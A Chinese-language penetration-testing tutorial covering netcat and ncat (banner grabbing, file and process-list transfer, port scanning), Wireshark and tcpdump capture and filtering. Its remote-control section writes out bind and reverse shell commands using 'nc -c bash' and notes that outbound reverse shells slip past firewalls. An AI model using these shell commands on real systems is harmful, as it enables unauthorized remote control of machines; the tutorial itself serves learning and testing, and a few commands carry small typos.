渗透测试——基本工具

一、NETCAT(nc)

  • 网络工具中的瑞士军刀(小身材、大智慧)
  • 侦听模式/传输模式
  • telent/获取banner信息
  • 传输文本信息
  • 传输文件/目录
  • 加密传输文件
  • 远程控制/木马
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘

NC(TELNET/BANNER功能)

  • nc -nv 1.1.1.1 110
  • nc -nv 1.1.1.1 25
  • nc -nv 1.1.1.1 80

nc作为客户端时,可以对服务器端进行侦听

示例:

ping pop3.163.com #查看163邮箱pop3的IP地址

nc -nv 123.125.50.29 110 #n只跟IP地址,不对DNS地址进行解析;v显示详细输出信息;参数后面跟 服务IP和端口

user 邮箱用户名(base64编码) 邮箱密码(base64编码)

通过以上命令可以在命令行下接受邮件。

NC(传输文本信息)

示例

服务器端:nc -l -p 3333 #-l 表示侦听 -p指定打开的端口号

​ netstat -pantu | grep 3333 #查看3333端口是否打开

客户端: nc -nv 192.168.1.132 3333 #参数后面跟服务器的IP地址和开放的端口。

NC(远程电子取证信息收集)

示例1:

A对B当前目录信息进行取证

A:nc -l -p 3333 #-l表示侦听 -p指定打开的端口号 A对3333端口开始侦听

B:ls -l | nc -nv 192.168.153.132 3333 #将当前目录下的文件属性列表信息传递给A。

示例2:

A对B当前系统进程信息进行取证并存档

A:nc -l -p 3333>ps.txt #侦听3333端口,并把侦听内容重定向到当前目录的1.txt文件里

B:ps aux | nc -nv 192.168.153.132 -q 1 #将当前系统进程信息进行取证并存档到1.txt中 -q表示自动 断开nc连接

A:cat ps.txt #查看ps.txt文件内容

远程电子取证信息收集尽量少的去对目标机器进行修改。

NC(传输文件)

正向文件运输

A:mc -l -p 3333>1.mp4 #侦听端为文件接受端,接受对方3333端口发送的文件并命名为1.mp4

B:nc -nv 192.168.153.132 3333 <1.mp4 -q 1 #文件发送端

反向文件运输

A: nc -lp 3333< 1.mp4 -q 1 #侦听端为文件发送端,将1.mp4这个文件放在3333侦听端口上等待对方接收

B: nc -nv 192.168.0.5 3333> 1.mp4 #文件接收端

NC(传输目录)
NC(流媒体服务)

示例:

A:cat 1.mp4 | nc -l -p 3333 #A端为流媒体输出端,将1.mp4这个文件打开并通过3333端口进行输 出

B:nc -nv 192.168.153.130 | mplayer -vo x11 -cache 3000 #B端为流媒体客户端,将侦听A端3333 端口,并通过mplayer媒体播放器进行播放,设定缓存为3000K

NC(端口扫描)

示例:

nc -nvz 192.168.153.130 1-65535 #扫描目标主机TCP 1-65535开放的端口

nc -nvzu 192.168.153.130 1-65535 #扫描目标主机UDP 1-1024开放的端口

NC(远程控制)

服务器端开启远程控制:

服务器:nc -lp port -c bash#把shell交给过来连接的客户端

客户端:nc -nv ip port

客户端开启远程控制:

服务器端:nc -lp port

客户端:nc -nv IP port -c bash

window上将-c bash 改为-c cmd

注意事项:服务器防火墙一般会限制外网对内网的访问,但是内网对外网的访问限制可能被忽略。

​ 内网对外网的访问限制:将DNS服务器单独隔离出来,只开放53端口开放侦听外网,

​ 主动在客户端开启一个端口,并在服务器上侦听该端口,且把shell交给客户端。这种方式不容易被防火墙拦截。

NC的缺陷

缺乏数据加密和身份认证的能力

NCAT

nmap工具包中的ncat,设计用于弥补NC的缺陷。

nc版本太多,参数各不相同,使用起来有困难。

Ubantu版本没有-c,需要用临时文件去转换bash

遇到问题查看man命令手册(系统自带软件)

服务端开启端口:ncat -c bash –allow IP(指定可连接的客户端IP)-vnl port –ssl(防止嗅探者查看到明文信息)

客户端连接:ncat -nv IP port –ssl 互相交换指纹是一对一连接,保证安全。

二、WIRESHARK

常用功能

  • 抓包嗅探协议分析
  • 抓包引擎
  • Libpcap9–Linux
  • winpcap10-windows

基本使用方法:

1、终端输入wireshark,启动

2、选择要抓包的网卡。

3、打开捕获选项,勾选混杂模式(只抓捕本地信息(网卡绑定的ip地址信息),如果不选择捕获模式则无法获取广播(当前网络中的所有信息)信息)。

4、选择捕获过滤器,可以选择要抓包的内容,如ip地址 格式 host ip地址或者其他协议。

5、停止抓包后保存内容,尽量使用pcap格式。兼容性较好。

6、通过分析-显示过滤器对抓包结果进行过滤

数据包的分层结构

  • Arp
  • lcmp
  • Tcp三次握手

1.源向目标发送syn包(确认连接)

2.目标向源发送syn、ack(回应并向源确认)

3.源向目标发送ack包(回应目标发送的syn)

  • Udp
  • Dns
  • http
  • ftp

数据流

  • TCP流
  • UDP流
  • SSL流
  • HTTP流

Tcpdump

tcpdump——抓包

​ wireshark是图形化工具,在服务器等没有图形化界面的设备上无法使用,此时tcpdump命令行工具可以代替

1
tcpdump -i eth0 -s 0 -w a.cap/b.pcap

-i 指定抓包接口,-s 指定抓包大小,0为抓取整个包,不指定则默认抓取64字节。-w 将抓到的包保存到某个文件,不指定则实时显示

1
tcpdump -r a.cap/b.cap

-r read读取

1
tcpdump -A -r a.cap/b.cap

-A 使用ascii码表转码显示,不要加在-r后面,不然会报错 -X 使用16进制显示

tcpdump——抓包筛选器
1
tcpdump -i eth0 port 22

抓以太网0上22端口的包。

1
tcpdump -i eth0 tcp port 22

抓以太网0上22端口的TCP包。 curl -v URL

tcpdump——显示筛选器
1
tcpdump -n -r http.cap | awk '{print $3}' | sort -u

-n 不对IP进行域名解析 AWK 默认用空格做分割 -u unique去重

1
tcpdump -n src host IP -r file.cap/file.pcap

src host IP 指定来源IP,src–>source

1
tcpdump -n dst host IP -r file.cap/file.pcap

dst destination,指定目标IP

1
tcpdump -n udp port 53  -r file.cap/file.pcap

udp 指定显示的协议 port 53 指定端口